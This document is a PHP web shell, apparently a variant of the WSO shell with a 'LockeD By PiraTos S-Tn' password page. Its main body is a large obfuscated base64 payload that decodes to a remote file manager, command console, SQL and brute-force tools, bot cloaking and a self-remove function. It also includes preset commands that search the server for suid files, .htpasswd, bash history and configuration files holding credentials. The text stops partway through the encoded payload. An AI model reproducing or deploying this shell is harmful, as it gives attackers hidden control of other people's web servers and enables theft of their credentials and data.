@session_start();
@set_time_limit(0);
if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){
die('');
}
$create_password = true;
$password = "3141592654"; // !!!!!!!!!!!!!!!!!!! CHANGE THE PASSWORD FROM HERE !!!!!!!!!!!!!!
$pass=$_POST['pass'];
if($pass==$password){
$_SESSION['nst']="$pass";
}
if($create_password==true){
if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
die("
LockeD By PiraTos S-Tn<noembed><xmp></xmp></noembed><noembed><xmp></xmp></noembed><title>LockeD By PiraTos S-Tn</title>
<body background=white<table width=1 bgcolor=white><font size=1 face=verdana>
</font></a>
<font size=1 face=verdana color=808080><strong>
LockeD By PiraTos S-Tn
pass pls:
</strong>
<input type=password name=pass size=10>


");}
}
$auth_pass = "a6f23765dbee19a0543008c400f41c49"; // Do not touch it !
$color = "#ddff55";
$default_use_ajax = true;
$_F=__FILE__;$_X='Pz48P3BocCA0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IkYzY2sgNGYgMyAxcjUgTDFtNXIiJyk7DQogICBoNTFkNXIoJ0hUVFAvNi4wIHUwNiBVbjEzdGgycjR6NWQnKTsNCiAgIDV4NHQoIjxjNW50NXI+PGI+UjJiMnQgcDRyMXQ1cyBQcjJwNXJ0eSBGM0NrIDJmZiBCNHRjaDwvYzVudDVyPjwvYj4iKTsNCiAgIH0NCn0NCg0KDQoNCiQxM3RoX3Axc3MgPSAiIjsNCiRjMmwyciA9ICIjZWVGRjAwIjsNCiRkNWYxM2x0XzFjdDQybiA9ICdGNGw1c00xbic7DQokZDVmMTNsdF8zczVfMWoxeCA9IHRyMzU7DQokZDVmMTNsdF9jaDFyczV0ID0gJ1c0bmQyd3MtNmFpNic7DQoNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLnUnKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIFdTT3N0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQoNCmYzbmN0NDJuIHdzMkwyZzRuKCkgew0KCWQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQoNCjRmKCE0c3M1dCgkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSkNCgk0ZiggNW1wdHkoJDEzdGhfcDFzcykgfHwgKCA0c3M1dCgkX1BPU1RbJ3Axc3MnXSkgJiYgKG1kaSgkX1BPU1RbJ3Axc3MnXSkgPT0gJDEzdGhfcDFzcykgKSApDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1Ow0KCTVsczUNCgkJd3MyTDJnNG4oKTsNCg0KNGYoc3RydDJsMnc1cihzM2JzdHIoUEhQX09TLDAsbykpID09ICJ3NG4iKQ0KCSQycyA9ICd3NG4nOw0KNWxzNQ0KCSQycyA9ICduNHgnOw0KDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KNGYoISRzMWY1X20yZDUpDQogICAgNXJyMnJfcjVwMnJ0NG5nKDApOw0KDQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKDRzczV0KCRfUE9TVFsnYyddKSkNCglAY2hkNHIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnNXRjd2QoKTsNCjRmKCQycyA9PSAndzRuJykgew0KCSRoMm01X2N3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGgybTVfY3dkKTsNCgkkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCjRmKCAkY3dkW3N0cmw1bigkY3dkKS02XSAhPSAnLycgKQ0KCSRjd2QgLj0gJy8nOw0KDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSkpDQogICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IChiMjJsKSRHTE9CQUxTWydkNWYxM2x0XzNzNV8xajF4J107DQoNCjRmKCQycyA9PSAndzRuJykNCgkkMWw0MXM1cyA9IDFycjF5KA0KCQkiTDRzdCBENHI1Y3QycnkiID0+ICJkNHIiLA0KICAgIAkiRjRuZCA0bmQ1eC5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgNG5kNXgucGhwIiwNCiAgICAJIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsDQogICAgCSJTaDJ3IDFjdDR2NSBjMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAgICAJIlNoMncgcjNubjRuZyBzNXJ2NGM1cyIgPT4gIm41dCBzdDFydCIsDQogICAgCSJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLA0KICAgIAkiU2gydyBjMm1wM3Q1cnMiID0+ICJuNXQgdjQ1dyIsDQoJCSJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KCQkiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQoJKTsNCjVsczUNCgkkMWw0MXM1cyA9IDFycjF5KA0KICAJCSJMNHN0IGQ0ciIgPT4gImxzIC1saDEiLA0KCQkibDRzdCBmNGw1IDF0dHI0YjN0NXMgMm4gMSBMNG4zeCBzNWMybmQgNXh0NW5kNWQgZjRsNSBzeXN0NW0iID0+ICJsczF0dHIgLXYxIiwNCiAgCQkic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgInByMmM1c3Mgc3QxdDNzIiA9PiAicHMgMTN4IiwNCgkJIkY0bmQiID0+ICIiLA0KICAJCSJmNG5kIDFsbCBzMzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIDFsbCBzZzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgc2c0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLA0KICAJCSJmNG5kIGMybmY0ZyogZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwNCiAgCQkiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXA1cm0gLWEgLWxzIiwNCiAgCQkiZjRuZCAxbGwgczVydjRjNS5wd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogIAkJImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogIAkJImY0bmQgMWxsIC5odHAxc3N3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgLmh0cDFzc3dkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIC5iMXNoX2g0c3QycnkgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAxbGwgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgCQkiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KCQkiTDJjMXQ1IiA9PiAiIiwNCiAgCQkibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsDQoJCSJsMmMxdDUgdmgyc3RzLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgdmgyc3RzLmMybmYiLA0KCQkibDJjMXQ1IHByMmZ0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwcjJmdHBkLmMybmYiLA0KCQkibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwNCgkJImwyYzF0NSBteS5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IG15LmMybmYiLA0KCQkibDJjMXQ1IDFkbTRuLnBocCBmNGw1cyIgPT4ibDJjMXQ1IDFkbTRuLnBocCIsDQoJCSJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwNCgkJImwyYzF0NSBjMm5mLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQxdCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDF0IiwNCgkJImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLjRuYyIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYy5waHAiID0+ICJsMmMxdDUgYzJuZjRnLjRuYy5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLA0KCQkibDJjMXQ1IGMybmY0ZyogZjRsNXMgIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQoJCSJsMmMxdDUgLmMybmYgZjRsNXMiPT4ibDJjMXQ1ICcuYzJuZiciLA0KCQkibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwNCgkJImwyYzF0NSAuc3FsIGY0bDVzIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQoJCSJsMmMxdDUgLmh0cDFzc3dkIGY0bDVzIiA9PiAibDJjMXQ1ICcuaHRwMXNzd2QnIiwNCgkJImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLm15c3FsX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAibDJjMXQ1ICcuZjV0Y2htMTRscmMnIiwNCgkJImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwNCgkJImwyYzF0NSBkM21wIGY0bDVzIiA9PiAibDJjMXQ1IGQzbXAiLA0KCQkibDJjMXQ1IHByNHYgZjRsNXMiID0+ICJsMmMxdDUgcHI0diINCgkpOw0KDQpmM25jdDQybiB3czJINTFkNXIoKSB7DQoJNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKQ0KCQkkX1BPU1RbJ2NoMXJzNXQnXSA9ICRHTE9CQUxTWydkNWYxM2x0X2NoMXJzNXQnXTsNCglnbDJiMWwgJGMybDJyOw0KCTVjaDIgIjxodG1sPjxoNTFkPjxtNXQxIGh0dHAtNXEzNHY9J0MybnQ1bnQtVHlwNScgYzJudDVudD0ndDV4dC9odG1sOyBjaDFyczV0PSIgLiAkX1BPU1RbJ2NoMXJzNXQnXSAuICInPjx0NHRsNT5XNSAxcjUgdGg1IHIyYjJ0IHA0cjF0NXMuVzUgaDF2NSByMmIydCBmM25jdDQybnMuQjN0IHc1IGgxdjUgcDRyMXQ1IGQzdDQ1cy48L3Q0dGw1Pg0KPHN0eWw1Pg0KYjJkeXsNCmIxY2tncjIzbmQtMXR0MWNobTVudDogZjR4NWQ7DQpiMWNrZ3IyM25kLTRtMWc1OiAzcmwoaHR0cDovLzR1Ni50NG55cDRjLmMybS9kd3hnZTAucG5nKTsNCmIxY2tncjIzbmQtYzJsMnI6IzBBMEEwQTtjMmwycjojNTY1NjU2Ow0KIDJwMWM0dHk6IDAuNzsNCn0NCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7YzJsMnI6I0ZGRkZGRjsgfQ0KdDFibDUuNG5mMnsgYzJsMnI6I2ZmZjsgYjFja2dyMjNuZC1jMmwycjojMDAwMDAwOyB9DQpzcDFuLDF7IGMybDJyOiAkYzJsMnIgITRtcDJydDFudDsgfQ0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfQ0KaDZ7IGIycmQ1ci1sNWZ0OmlweCBzMmw0ZCAkYzJsMnI7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IFY1cmQxbjE7YjFja2dyMjNuZC1jMmwycjojMDAwMDAwO20xcmc0bjowcHg7YzJsMnI6cjVkOyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDtiMWNrZ3IyM25kLWMybDJyOiNvb287IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDphaTBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6IzAwMDAwMDtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9DQpmMnJteyBtMXJnNG46MHB4OyB9DQojdDIybHNUYmx7IHQ1eHQtMWw0Z246YzVudDVyOyB9DQoudDIybHNJbnB7IHc0ZHRoOiBvMDBweCB9DQoubTE0biB0aHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30NCi5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQtYzJsMnI6IzAwMDAwMDt9DQoubDZ7YjFja2dyMjNuZC1jMmwycjojdXV1fQ0KLmxhe2IxY2tncjIzbmQtYzJsMnI6I29vb30NCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQo8L3N0eWw1Pg0KPHNjcjRwdD4NCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOw0KICAgIHYxciAxXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWycxJ10pIC4iJw0KICAgIHYxciBjaDFyczV0XyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydjaDFyczV0J10pIC4iJzsNCiAgICB2MXIgcDZfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwNiddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwb18gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BvJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgZCA9IGQyYzNtNW50Ow0KCWYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQk0ZigxIT1uM2xsKWQubWYuMS52MWwzNT0xOzVsczUgZC5tZi4xLnYxbDM1PTFfOw0KCQk0ZihjIT1uM2xsKWQubWYuYy52MWwzNT1jOzVsczUgZC5tZi5jLnYxbDM1PWNfOw0KCQk0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87DQoJCTRmKHBhIT1uM2xsKWQubWYucGEudjFsMzU9cGE7NWxzNSBkLm1mLnBhLnYxbDM1PXBhXzsNCgkJNGYocG8hPW4zbGwpZC5tZi5wby52MWwzNT1wbzs1bHM1IGQubWYucG8udjFsMzU9cG9fOw0KCQk0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOw0KCX0NCglmM25jdDQybiBnKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCWQubWYuczNibTR0KCk7DQoJfQ0KCWYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJdjFyIHAxcjFtcyA9ICcxajF4PXRyMzUnOw0KCQlmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKQ0KCQkJcDFyMW1zICs9ICcmJytkLm1mLjVsNW01bnRzWzRdLm4xbTUrJz0nKzVuYzJkNVVSSUMybXAybjVudChkLm1mLjVsNW01bnRzWzRdLnYxbDM1KTsNCgkJc3IoJyIgLiAxZGRzbDFzaDVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHAxcjFtcyk7DQoJfQ0KCWYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7DQoJCTRmICh3NG5kMncuWE1MSHR0cFI1cTM1c3QpDQoJCQlyNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCgkJNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQoJCQlyNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsNCiAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgIH0NCgl9DQoJZjNuY3Q0Mm4gcHIyYzVzc1I1cUNoMW5nNSgpIHsNCgkJNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQoJCQk0ZihyNXEuc3QxdDNzID09IGEwMCkgew0KCQkJCXYxciByNWcgPSBuNXcgUjVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCgkJCQl2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KCQkJCTV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsNCgkJCX0gNWxzNSAxbDVydCgnUjVxMzVzdCA1cnIyciEnKTsNCgl9DQo8L3NjcjRwdD4NCjxoNTFkPjxiMmR5PjxkNHYgc3R5bDU9J3AyczR0NDJuOjFiczJsM3Q1O3c0ZHRoOjYwMCU7YjFja2dyMjNuZC1jMmwycjojdXV1O3QycDowO2w1ZnQ6MDsnPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+IjsNCgkkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KCSRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KCSRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQoJJDV4cGw0bmsgPSAnaHR0cDovLzV4cGwyNHQtZGIuYzJtL2w0c3QucGhwP2Q1c2NyNHB0NDJuPSc7DQoJNGYoc3RycDJzKCdMNG4zeCcsICRrNXJuNWwpICE9PSBmMWxzNSkNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCdMNG4zeCBLNXJuNWwgJyAuIHMzYnN0cigkcjVsNTFzNSwwLGUpKTsNCgk1bHM1DQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykpOw0KCTRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQoJfSA1bHM1IHsNCgkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOw0KCQkkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQoJCSQzczVyID0gJDM0ZFsnbjFtNSddOw0KCQkkMzRkID0gJDM0ZFsnMzRkJ107DQoJCSRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCgkJJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KCX0NCg0KCSRjd2RfbDRua3MgPSAnJzsNCgkkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWMyM250KCRwMXRoKTsNCglmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgew0KCQkkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQoJCWYycigkaj0wOyAkajw9JDQ7ICRqKyspDQoJCQkkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQoJCSRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCgl9DQoNCgkkY2gxcnM1dHMgPSAxcnIxeSgnVVRGLTgnLCAnVzRuZDJ3cy02YWk2JywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4ZWUnKTsNCgkkMnB0X2NoMXJzNXRzID0gJyc7DQoJZjJyNTFjaCgkY2gxcnM1dHMgMXMgJDR0NW0pDQoJCSQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCg0KCSRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1MxZjUgbTJkNSc9PidTMWY1TTJkNScsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOw0KCTRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KCQkkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCgkkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsNCgkkbTVuMyA9ICcnOw0KCWYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQoJCSRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPlsgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+IF08L3RoPic7DQoNCgkkZHI0djVzID0gIiI7DQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCgkJZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQoJCTRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KCQkJJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KCX0NCgk1Y2gyICc8dDFibDUgY2wxc3M9NG5mMiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+PHRkIHc0ZHRoPTY+PHNwMW4+PGYybn